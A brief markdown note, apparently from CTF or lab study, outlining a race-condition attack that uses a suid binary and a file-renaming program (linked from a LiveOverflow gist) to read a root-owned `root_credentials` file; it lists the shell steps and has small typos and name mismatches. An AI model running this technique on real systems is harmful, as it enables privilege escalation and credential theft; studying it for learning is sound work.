# Racing Conditions

## Read files from another user

* The file of interest needs to be opened by a process which is a suid binary (here named `read_reds`) and creates a file descriptor to it
* The file of intereset is called `root_credentials` and is owned by root
* Create a file 
```sh
touch yo
```
* Compile `gistfile.txt` from [live overflow's repo](https://gist.github.com/LiveOverflow/590edaf5cf3adeea31c73e303692dec0)
```sh
gcc gistfile.c -o rename_file
```
* Inside session 1 start the binary
```sh
./rename_file yo root_credentials
```
* Inside session to try to read `root_credentials` until it succeeds
```sh
./read_creds root_credentials
```